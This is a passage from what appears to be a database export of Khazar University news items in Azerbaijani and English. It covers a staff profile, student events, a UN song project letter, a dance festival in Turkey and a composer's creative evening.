style=\"text-align:justify\"><strong><strong><strong><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\"><img src=\"/files/psycho_depart/images/nilufar_alizada.jpg\" style=\"width:150px;height:226px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong></strong></strong><strong><strong><strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/nilufar_alizada_CV(AZ).pdf\">Nilufər&nbsp;Əlizadə</a><a href=\"http://www.khazar.org/files/psycho_depart/Nilufar%20Alizada_CV.pdf\"></a></strong></strong></strong></p><p style=\"text-align:justify\"><strong><strong>Psixologiya departamentinin müəllimi</strong></strong></p><p>Sağlamlıq psixologiyası&nbsp;ixtisası&nbsp;üzrə&nbsp;magistr (Coventry Universiteti, İngiltərə)<br></p><p>Psixologiya&nbsp;ixtisası&nbsp;üzrə bakalavr (Xəzər Universiteti, Azərbaycan)<br></p><p><strong>E-mail:</strong><strong>&nbsp;</strong><a href=\"http://mkerimova@khazar.org/\"></a><a href=\"mailto:nalizada@khazar.org\">nalizada[at]khazar.org</a></p><p><br></p>'),(6323,3596,'az','Tələbə Məclisi birinci il tələbələri ilə görüşdü','2018-ci il oktyabrın 11-i, 13-ü və 23-də Xəzər Universiteti Tələbə Məclisi universitetə...','<p>2018-ci il oktyabrın 11-i, 13-ü və 23-də Xəzər Universiteti Tələbə Məclisi universitetə yeni daxil olmuş tələbələrlə maarifləndirici görüş təşkil etdi. Tədbirdə Tələbə Məclisinin prezidenti Qurban Əsgərov tələbələrə universitetdə gənclərin fəallığı ilə görülmüş işlər, onlarla maraqlı layihələrin həyata keçirilməsi, asudə vaxtlarının səmərəli təşkili, bilik səviyyələrinin və dünyagörüşlərinin artmasına diqqət və bu sahədə rəhbərliyin qayğısı və dəstəyi, yaradılan hər cür şərait haqqında geniş məlumat verdi. Tələbə Məclisinin son bir il ərzindəki fəaliyyətini əks etdirən video-çarxlar nümayiş etdirildi. Yeni qəbul olmuş tələbələrə Tələbə Məclisi ilə əməkdaşlıq edən “İrəli İctimai Birliyi” və “AIESEC in Azerbaijan” təşkilatları haqqında geniş məlumat verildi, ictimai-sosial fəal tələbə olmağın faydalarından danışıldı.</p><p>Görüşün sonunda tələbələri maraqlandıran suallar cavablandırıldı.</p>'),(6324,3596,'en','Student Assembly meets first-year students','On October 11, 13 and 23, 2018, Student Assembly of Khazar University organized an enlightening...','<p>On October 11, 13 and 23, 2018, Student Assembly of Khazar University organized an enlightening meeting for the first-year students. Gurban Asgarov, Head of Student Assembly, gave a wide information about the achievements gained by the help of active students, interesting projects, leisure time activities, the administration’s support for better education and development of students, and favourable academic environment at University. A video clip about the active performance of Student Assembly within the last one year was demonstrated. The students were also provided with information about “Ireli” Public Union and “AIESEC in Azerbaijan” which are collaborating with Khazar University. Students were encouraged into pursuing an active social life.</p><p>At the end, students got answers to their questions.</p>'),(6325,3597,'az','BMT-nin Xəzər Universiteti ilə birgə layihəsi','2018-ci il oktyabrın 25-də Dayanıqlı İnkişaf Məqsədlərinin (DİM) həyata keçirilməsində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2018-ci il oktyabrın 25-də Dayanıqlı İnkişaf Məqsədlərinin\r\n(DİM) həyata keçirilməsində regional tərəfdaşlığın gücləndirilməsi mövzusuna həsr\r\nolunmuş VI Bakı Beynəlxalq Humanitar Forumunun rəsmi açılış günündə\r\niştirakçılara DİM-ə dair “Leaving no one behind\" (“Heç kimi\r\narxada qoymayaq”) adlı mahnı-klip təqdim olunmuşdur. Mahnını müğənni\r\nTuran Eldarova- Namazova ifa etmişdir. Bəstəkar Gülsüm Eldarova, sözlərin müəllifi\r\nNərgiz Eldarovadır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Mahnı Xəzər Universitetinin Kamera orkestri (bədii rəhbər\r\n– universitetin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim,\r\ndosent, pianoçu Zülfiyyə Sadıqova), universitetin tələbələrdən ibarət xor\r\nkollektivi və universitetin müəllimi\r\ntarzən Ramin Rzayevin ifası ilə müşayiət olunmuşdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><em>Bu münasibətlə BMT-dən Xəzər Universitetinə təşəkkür məktubu göndərilmişdir.\r\n</em><em>Məktubu aşağıda dərc\r\nedirik.</em></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n<p style=\"text-align:center\"><strong>Xəzər\r\nUniversitetinə təşəkkür məktubu</strong>&nbsp;</p>\r\n<p style=\"text-align: right;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:2.95in;line-height:normal\"\"=\"\"><strong>Xəzər\r\nUniversitetinin təsisçisi,<br>Direktorlar və Qəyyumlar Şurasının sədri<br>professor\r\nHamlet İsaxanlıya</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Hörmətli Hamlet müəllim!</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Bu məktubumla BMT-nin Xəzər Universiteti ilə birgə\r\nhəyata keçirdiyi uğurlu layihə haqqında sizə məlumat vermək istərdim.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Dayanıqlı İnkişaf Məqsədlərinə dair \"Leaving no\r\none behind\" adlı mahnı artıq ictimaiyyətə təqdim olundu:</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"https://www.youtube.com/watch?v=qk0Pz5A_X64\" target=\"_blank\">https://www.youtube.com/watch?v=qk0Pz5A_X64</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Fürsətdən istifadə edərək, Xəzər Universitetinin\r\nkamera orkestri və xoruna, eləcə də professor Zülfiyyə Sadıqovaya mahnının ərsəyə\r\ngəlməsinə verdikləri önəmli töhfəyə görə dərin minnətdarlığımı bildirirəm.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Qeyd edim ki, mahnının sonunda BMT ilə yanaşı Xəzər\r\nUniversitetinin də loqosu yerləşdirilib. Bu mahnı ilə bağlı BMT-nin müxtəlif\r\nplatformalarında yerləşdirilən xəbərlərdə Universitetin töhfəsi xüsusi qeyd\r\nolunub.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Gələn həftə bu mahnı BMT-nin qlobal Twitter (10,6\r\nmilyon izləyici) və Facebook (4,1 milyon izləyici) hesablarında da\r\npaylaşılacaq.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ümid edirəm ki, BMT-nin Xəzər Universiteti ilə faydalı\r\nəməkdaşlığı bundan sonra da davam edəcək.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n<p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:141.6pt;text-indent:35.4pt;line-height:normal\"\"=\"\">Hörmətlə,</p>\r\n<p style=\"text-align: right;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>Rəşad Hüseynov</strong></p>\r\n<p style=\"text-align: right;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:141.6pt;line-height:normal\"\"=\"\"><em>BMT-nin İctimai\r\nİnformasiya Departamentinin Azərbaycan<br>təmsilçisi,&nbsp;Xəzər Universitetinin Siyasi\r\nelm və Beynəlxalq<br>münasibətlər departamentinin müəllimi</em></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">28 oktyabr 2018-ci il</p>'),(6326,3597,'en','Joint project of UN with Khazar University','On October 25, 2018, a music clip \"Leaving no one behind\" on Sustainable...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">On October 25, 2018, a music clip \"Leaving no\r\none behind\" on Sustainable Development Goals (SGD) was presented to\r\nparticipants on the official opening day of VI Baku International Humanitarian\r\nForum dedicated to strengthening regional partnership for achieving SGD. The\r\nsong was performed by Turan Eldarova-Namazova. The composition is by Gulsum\r\nEldarova and the lyrics are by Nargiz Eldarova.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">The music was accompanied by Chamber Orchestra of\r\nKhazar University (art director: Assoc. Prof. Zulfiyya Sadigova, Head of the\r\nDepartment of Music and Fine Arts, Honored Teacher and a pianist), a choir\r\ncomprised of students and a tar player Ramiz Rzayev, Instructor of Khazar\r\nUniversity. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><em>UN has sent a letter of gratitude to Khazar University on this\r\noccasion. The content of the letter is given below.</em></p>\r\n<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Letter\r\nof Gratitude to Khazar University</strong></p>\r\n<p style=\"text-align: right;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:2.95in;line-height:normal\"\"=\"\"><strong>To Prof. Hamlet\r\nIsakhanli, founder of Khazar<br>University and Chairman of its<br>Board of Directors\r\nand Trustees</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Dear Mr Hamlet Isakhanli!</strong><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">By this letter, I would like to inform you about a\r\nsuccessful project implemented by UN and Khazar University.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">The song \"Leaving no one behind\"\r\ndedicated to Sustainable Development Goals has already been publicly presented:</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"https://www.youtube.com/watch?v=qk0Pz5A_X64\">https://www.youtube.com/watch?v=qk0Pz5A_X64</a>.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Taking this chance, I would like to express my\r\nutmost gratitude to Chamber Orchestra and the choir of Khazar University as\r\nwell as Prof. Zulfiyya Sadigova for their important contribution to the\r\ndevelopment of the song. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">I would like to note that at the end of the song\r\nlogos of UN and Khazar University have been placed. Khazar University’s\r\ncontribution has especially been stressed in the news posted on various\r\nplatforms of the UN.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Next week, the song will be shared on UN accounts\r\non Twitter (10,6 million followers) and Facebook (4,1 million followers) </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">I hope UN will have further productive cooperation\r\nwith Khazar University.&nbsp;</p>\r\n<p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:141.6pt;text-indent:35.4pt;line-height:normal\"\"=\"\"><br></p><p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:141.6pt;text-indent:35.4pt;line-height:normal\"\"=\"\">Regards,&nbsp;</p>\r\n<p style=\"text-align: right;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Rashad Huseynov</strong></p>\r\n<p style=\"text-align: right;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:141.6pt;line-height:normal\"\"=\"\"><em>Representative\r\nof the UN Public Information Department,<br>Instructor of the Department of\r\nPolitical Science and<br>International Relations of Khazar University</em> </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:141.6pt;line-height:normal\"\"=\"\">October 28, 2018</p>'),(3822,2227,'az','Xəzər Universitetində “Açıq qapı” günü keçirildi','2017-ci il mayın 26-da Xəzər Universitetində “Açıq qapı” günü keçirildi. Bakının Yasamal rayonundakı176 saylı və Qaradağ rayonundakı 162 saylı məktəblərin XI sinif şagirdləri...','<p class=\"1\" style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">2017-ci il mayın 26-da Xəzər\r\nUniversitetində “Açıq qapı” günü keçirildi. Bakının Yasamal rayonundakı176\r\nsaylı və Qaradağ rayonundakı 162 saylı məktəblərin XI\r\nsinif şagirdləri universitetin “Mərmər” zalına\r\ntoplaşmışdılar. Zalda ixtisaslar və universitetdə fəaliyyət göstərən mərkəzlər\r\n(xarici əlaqələr, karyera, psixologiya, kitabxana-informasiya və s.)\r\nüzrə masalar qurulmuşdu.<strong></strong></p>\r\n<p>Tədbiri universitetin Təhsil fakültəsinin dekanı\r\nElza Səmədova &nbsp;açaraq, şagirdlərə\r\nuniversitet haqqına ətraflı məlumat verdi. Onlar ixtisas və mərkəz masaları ətrafında\r\nəməkdaşlarla söhbət etdilər və suallarına ətraflı cavablar aldılar. </p>\r\n<p>Şagirdlər Xəzər Universiteti haqqında videoçarxlara\r\nda baxdılar və onlara bukletlər paylanıldı.&nbsp;\r\n“Mərmər” zalda universitetin dövlət\r\nsektorunda və özəl qurumlarda yüksək vəzifələr tutan məzunları haqqında nümayiş\r\netdirilən stend şagirdlərdə böyük maraq doğurdu.</p>\r\n<p>Qonaqlara konsert proqramı da təqdim olundu.</p>\r\n<p>“Mərmər” zalda tədbir başa çatdıqdan sonra şagirdlər\r\nuniversitetlə tanış oldular. Elektronika, inşaat mühəndisliyi,\r\nbiologiya, kompüter və s. laboratoriyalarda, Kitabxana-İnformasiya Mərkəzində\r\nşagirdlərə məlumat verildi və sualları cavablandırıldı.</p>\r\n<p>Məktəblilər Xəzər Universitetindən xoş təəssüratla\r\nayrıldılar.</p>'),(3823,2217,'en','Khazar University in International Aksu Festival','May 18-23 Khazar University two dance groups consisting of boys and girls successfully took part in 40th International Aksu Festival in Giresun, Turkey. Besides Khazar there were...','<p>May 18-23 Khazar\r\nUniversity two dance groups consisting of boys and girls successfully took part\r\nin 40<sup>th</sup> International Aksu Festival in Giresun, Turkey. Besides\r\nKhazar there were dances groups from Russia, Kosova, Northern Cyprus Turkish\r\nRepublic and some local groups from Turkey itself. Khazar University\r\nparticipated in the festival with the group consisting of 35 people.</p>\r\n<p>On the\r\n19<sup>th</sup> of May Khazar University’s team visited the exhibition of a\r\ntalented Azerbaijani painter Leyla Aliyeva who is currently living and working\r\nin Giresun, Turkey. Leyla Aliyeva expressed her greatest gratitude and\r\nsatisfaction for the support to Khazar’s team. She also expressed her pride for\r\nthe attention of University&nbsp;in her personal exhibition. </p>\r\n<p>The\r\nnext day of the festival was rich with dances. Khazar University’s dance&nbsp;groups had two different concert programs in Ataturk square and stadium. The\r\nprogram started with Giresun Municipal Kerim Aksu’s opening speech and some\r\ntraditional rituals held. Giresun’s governor, deputies, the municipals and\r\ngovernors of neighborhood areas, public figures and a number of local people\r\nattended the traditional opening ceremony of the festival.</p>\r\n<p>On the 21th of May the traditional march that was delayed\r\nfor two days due to difficult weather conditions was finally held. During the\r\nmarch all the participant groups gave the messages of peace and friendship to\r\none another and to the local people who were following them everywhere. The\r\nlocal people also expressed their support and respect to the participants with\r\ntheir applause. Special attention and love to Khazar’s team by the citizens was\r\nfelt everywhere. The march ended in Ataturk Square where Giresun Municipal Kerim\r\nAksu once again greeted the participants and the groups had their next large\r\nconcert program, followingly. We also find it important to mention&nbsp;that the largest and\r\nlongest performance in the concert belonged to Khazar University’s team. </p>\r\n<p>On the 21th of May Giresun Governor Hasan Karahan and\r\nGiresun Municipal Kerim Aksu accepted Alovsat Amirbeyli, the Director of Public\r\nRelations and Media, Khazar University and Zulfiyya Sadigova, the Chair of the\r\nDepartment of Music and Fine Arts, Khazar University with two dancers in\r\nGiresun Governorate. Both public figures expressed their gratitude to Khazar’s\r\nteam for their interesting performance and accepted presents from Khazar\r\nUniversity. Alovsat Amirbeyli in his turn expressed his satisfaction and\r\ngratitude to Giresun Governor and Municipal and accepted the presents. At the\r\nend of the meeting memory photos were taken. </p>\r\n<p>On the last day of the festival the concert was held in\r\nGiresun University in the open air. Due to heavy rain the program was meant to\r\nbe cancelled. However, the participants and the students of the university\r\ninsisted on having the concert. The students watched the program that was going\r\non for more than two hours with great interest.</p>\r\n<p>On the 23th of May Giresun Municipality Director of Cultural\r\nand Social Activities Hasan Ozdemir personally accompanied Khazar University’s\r\nteam for the dinner organized by Giresun Municipality. After the dinner Khazar\r\nUniversity&nbsp;was sent to Sarp Border Gates with the special bus given by\r\nGiresun Municipality.&nbsp;</p>'),(3824,2228,'az','Azərbaycan Dövlət Tarix Muzeyində 28 May –Respublika Gününə həsr edilmiş tədbir keçirildi','2017-ci il mayın 26-da Azərbaycan Dövlət Tarix Muzeyində 28 May –Respublika Gününə həsr edilmiş tədbir keçirildi. Yazıçı-publisist, kinorejissor Nazim Rza “Mücadilə” filmi haqqında...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il mayın 26-da Azərbaycan Dövlət Tarix Muzeyində 28 May –Respublika\r\nGününə həsr edilmiş tədbir keçirildi. Yazıçı-publisist, kinorejissor Nazim Rza\r\n“Mücadilə” filmi haqqında məlumat verdi. Tariximizin köklü, zəngin anlarının bu\r\nfilmdə əks olunduğunun qeyd etdi. Daha sonra film nümayiş olundu. Film bitdikdən\r\nsonra, filmin elmi məsləhətçisi BDU-nun professoru Elmira Muradəliyeva çıxış\r\netdi.&nbsp; O, öz çıxışında qeyd etdi ki, bu\r\nfilm tarixi qaynaqlara əsaslanır və bu tədbir, həmçinin, yeni yaranmış\r\n“kinoklubun” açılışı ilə bağlıdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirdə Xəzər Universiteti Tarix və arxeologiya departamentinin\r\nmüdiri Roza Arazovanın başçılığı ilə Təhsil fakültəsinin tarix müəllimliyi\r\nixtisasının tələbələri də iştirak etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirin sonunda kinorejissor Nazim Rza tələbələrin suallarını\r\ncavablandırdı və öz təşəkkürünü bildirdi.&nbsp;</p>'),(3825,2229,'az','Alik Əlioğlunun müsahibəsi yayınlandı','2017-ci il mayın 27-də qaynarinfo.az xəbər saytında Xəzər Universitetinin əməkdaşı Alik Əlioğlunun müsahibəsi yayınlanmışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">2017-ci il mayın 27-də <strong><em>qaynarinfo.az</em></strong>\r\nxəbər saytında Xəzər Universitetinin əməkdaşı Alik Əlioğlunun müsahibəsi\r\nyayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibəni bu link vasitəsilə oxumaq\r\nolar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://az.qaynarinfo.az/news/shownews/114554-\">http://az.qaynarinfo.az/news/shownews/114554-“o-seiri-yazanda-icmemisdim-amma-sonra-icdim”.html</a>.</p>'),(3826,2230,'az','“Dünya” məktəbində Nailəxanım İsayevanın yaradıcılıq gecəsi keçirildi','2017-ci il mayın 27-də “Dünya” məktəbinin konsert-konfrans salonunda  “Dünya” məktəbinin həmtəsisçisi, Xəzər Universiteti Direktorlar və Qəyyumlar Şurasının müşaviri Nailəxanım...','<p>2017-ci il mayın 27-də “Dünya” məktəbinin\r\nkonsert-konfrans salonunda &nbsp;“Dünya” məktəbinin\r\nhəmtəsisçisi, Xəzər Universiteti Direktorlar və Qəyyumlar Şurasının müşaviri\r\nNailəxanım İsayevanın bəstəkarlıq fəaliyyətinə aid yaradıcılıq gecəsi\r\nkeçirildi.</p>\r\n<p>Tədbirdə “Dünya” məktəbinin rəhbərliyi və\r\nkollektivi, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasnın\r\nsədri professor Hamlet İsaxanlı başda olmaqla universitetin rəhbərliyi və əməkdaşları,\r\nbir sıra ali təhsil müəssisələrinin rəhbərliyi, yaradıcılıq ittifaqlarının\r\nnümayəndələri və qonaqlar iştirak edirdilər.</p>\r\n<p>Aparıcılar yaradıcılıq gecəsini açıq elan edəndən\r\nsonra Nailəxanım İsayeva və Hamlet İsaxanlının birgə həyat və yaradıcılıq fəaliyyətinə\r\naid “İnciçiçəyi” adlı sənədli-bədii film nümayiş etdirildi. Tamaşaçıların böyük\r\nmaraq və diqqətlə izlədikləri filmdə ailə fraqmentlərinin göstərilməsi ilə\r\nyanaşı, şairlə bəstəkarın uğurlu yaradıcılıq işindən bəhs olunurdu. Qeyd edək\r\nki, Nailəxanım İsayeva mahnılarının hamısını Hamlet İsaxanlının sözlərinə bəstələmişdir.\r\nFilm Mir Rafiq Əbdülrəhimov, Afaq Qəmbərova, Murad Allahverdiyev, Lalə Həsənova,\r\nHüseyn Qəhrəmanlı və Nigar Fərmanovadan ibarət yaradıcılıq qrupu tərəfindən\r\nhazırlanmışdı.</p>\r\n<p>İştirakçıların alqışları ilə qarşılanan filmin\r\nnümayişindən sonra Nailəxanım İsayevanın mahnılarından ibarət konsert proqramı\r\ntəqdim olundu. Mahnıları Xəzər Universitetinin Kamera orkestri, universitetin\r\nMusiqi və incəsənət departamentinin müdiri, pianoçu Zülfiyyə Sadıqova və\r\n“Dünya” məktəbinin müəllimi, pianoçu Nərgiz Gözəlovanın müşayiəti ilə xalq\r\nartisti Brilyant Dadaşova, Sumqayıt “Dünya” məktəbinin təşəbbüsü və iştirakı ilə\r\nkeçirilmiş Sumqayıt şəhər məktəblilərinin Mədəniyyət festivalının qalibi Murad\r\nHaqverdiyev,&nbsp; “Dünya” məktəbinin müəllimi\r\nArzu Ömərova,&nbsp; əməkdar artistlər Manana, İlqar\r\nMuradov, Fərid Əliyev və Xəzər Universitetinin müəllimi Məhsəti Cabbarova ifa\r\netdilər. Tamaşaçılara Xəzər Universitetinin qızlardan ibarət rəqs qrupunun çıxışları\r\nda təqdim olundu. &nbsp;“Dünya” məktəbinin\r\nşagirdlərinin ifasında Nailəxanım İsayevanın Hamlet İsaxanlının sözlərinə bəstələdiyi\r\n“Dünya” məktəbinin himni səsləndi.</p>\r\n<p>Tədbirdə &nbsp;Azərbaycan\r\nDillər Universitetinin rektoru vəzifəsinin icra edən Əfqan Abdullayev, Üzeyir\r\nHacıbəyov adına Bakı Musiqi Akademiyasının prorektoru, xalq artisti, Xəzər\r\nuniversitetinin müəllimi, professor Yeganə Axundova, Sumqayıt Şəhər İcra\r\nHakimiyyəti başçısının müavini Teymur Səmədov, ailə adından Aygün İsayeva,\r\n“Dünya” məktəbinin direktoru Mərufə Mədətli çıxış edərək, yaradıcılıq gecəsi\r\nmünasibətilə Nailəxanım İsayevanı təbrik etdilər, xoş arzularını bildirdilər. Mərufə\r\nMədətli Nailəxanım İsayevaya məktəbin rəssamı Anar Şahvələdov tərəfindən çəkilmiş\r\nportretini hədiyyə verdi.</p>\r\n<p>Xəzər Universiteti Təhsil fakültəsinin dekanı Elza\r\nSəmədova Xəzər Universitetinin kollektivi adından Nailəxanım İsayevaya\r\nünvanlanmış təbrik məktubunu oxüdu və ona təqdim etdi. Azərbaycan Təhsil\r\nŞurasının sədri, pedaqoji elmlər doktoru, professor, Prezident təqaüdçüsü Əjdər\r\nAğayev Nailəxanım İsayevanın təhsil şurasının “Nailiyyət” diplomu ilə təltif\r\nolunduğunu bildirdi və diplomu ona təqdim etdi.</p>\r\n<p>Çıxış və təbriklərdə Nailəxanım İsayeva Azərbaycanın\r\nmaarifpərvər qadınlarının ənənələrini davam etdirən yenilikçi təhsil təşkilatçısı&nbsp;kimi səciyyələndirildi,bəstəkarlıq fəaliyyəti yüksək qiymətləndirildi.&nbsp;Qeyd olundu ki, o, professor Hamlet İsaxanlı ilə\r\nbirlikdə Azərbaycanın nadir təhsil müəssisələri olan Xəzər Universiteti və\r\n“Dünya” məktəbinin qurulmasında və inkişafında misilziz xidmətlər göstərmiş,\r\n“Dünya” məktəbi onun rəhbərliyi ilə böyük nailiyyətlər qazanmışdır.</p>\r\n<p>Yaradıcılıq gecəsi Nailəxanım İsayevanın tortu kəsməsi\r\nvə atəşfəşanlıqla başa çatdı.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Xəzər\r\nUniversitetinin təbriki</strong></p>\r\n<p><strong>Əziz\r\nNailə xanım!</strong></p>\r\n<p>Yaradıcılıq gecənizin keçirlməsi münasibətilə Sizi\r\ntəbrik edirik! Siz “Xəzər ailəsi” üçün çox doğma və dəyərlisiniz! Siz daima öz\r\nalicənablığınız, sadəliyiniz, təmkinli və obyektiv münasibətinizlə bütün\r\nkollektivimizin həqiqi sevgisini və dərin hörmətini qazanmısınız. </p>\r\n<p>Xəzər Universitetinin 26 illik keşməkeşlı tarix\r\nkitabının hər səhifəsində, hər sətrində Sizin çox böyük əməyiniz və inkaredilməz\r\nrolunuz var.</p>\r\n<p>Bütün ölkəmiz üçün çətin 90-cı illərdə yaranmış Xəzər\r\nUniversiteti yenicə ilk addımlarını atan körpə kimi daima sizin isti nəfəsiniz\r\nvə qayğınız, mehriban ana şəfqətiniz, səbrli və mətanətli həyat yoldaşı əzminizlə\r\nildən ilə böyümüş, uğur qazanmışdır. Nə qədər böyüsək də, kollektivimiz nə qədər\r\ngenişlənsə də, nəsillər nəsilləri əvəz etsə də, Sizin təməlini qoyduğunuz\r\nmehriban, səmimi kollektiv, birlikdə uğurlara nail olan komanda ruhu “Xəzər ailəsi”ndə\r\ngetdikcə möhkəmlənmiş və əvəzolunmaz dəyərlərə çevrilmişdir. </p>\r\n<p>Siz, eyni zamanda, öz yaradıcılığınız və\r\nistedadınızla, zərif musiqi sədalarınızla daima ruhumuzu oxşamış, bizi şövqləndirmış,\r\nestetik zövqümüzü zənginləşdirmisiniz.</p>\r\n<p>Siz ömrünüzün ən gözəl illərini İsaxanlılar ailəsinə,\r\n“Xəzər ailəsi”nə və ən kiçik və şirin övladınız olan “Dünya” məktəbinə həsr\r\netmisiniz. Bu kiçik övladı dünyaya gətirib,&nbsp;\r\nilk addımlarını Xəzər Universitetində atdırmısınız. O günün körpə çinarı\r\nbugün böyüyüb, gənç fidanları ilə Azərbaycanın hüdudlarından çox uzaqlara şaxələnib.\r\n</p>\r\n<p>Siz çox dəyərli ziyalımız Hamlet İsaxanlı ilə\r\nbirlikdə Azərbaycan cəmiyyəti üçün əvəzolunmaz və tarix səhifəsinə keçəcək xidmətin\r\nbaşlanğıcını qoymusunuz. Azərbaycan gəncliyinin şüurlu, fəal və demokratik vətəndaş\r\nolaraq yetişməsi üçün məktəbəqədər pillədən başlayaraq təhsilin ən yüksək səviyyəsinə\r\nqədər cəmiyyətin öyrənmə və öyrətmə ehtiyacına cavab verən təhsil ocaqları\r\nyaratmış və Azərbaycan təhsilini dünya təhsili ilə rəqabət edə biləcək səviyyəyə\r\nyüksəltmisiniz.</p>\r\n<p><strong>Əziz\r\nNailə xanım!</strong></p>\r\n<p>&nbsp;“Xəzər ailəsi”\r\nolaraq Sizə sağlam, uzun ömür, yeni yaradıcılıq uğurları və bütün “övlad”larınızın\r\ndaha da yüksələn uğur hekayələri ilə daima qürurlanmağınızı arzu 